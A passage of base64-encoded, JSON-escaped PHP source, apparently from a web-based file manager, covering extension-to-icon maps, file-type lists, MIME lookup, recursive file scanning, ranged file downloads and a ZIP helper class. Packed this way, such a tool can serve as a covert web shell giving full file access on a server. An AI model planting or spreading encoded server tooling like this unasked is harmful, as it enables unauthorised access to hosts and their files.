HYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXI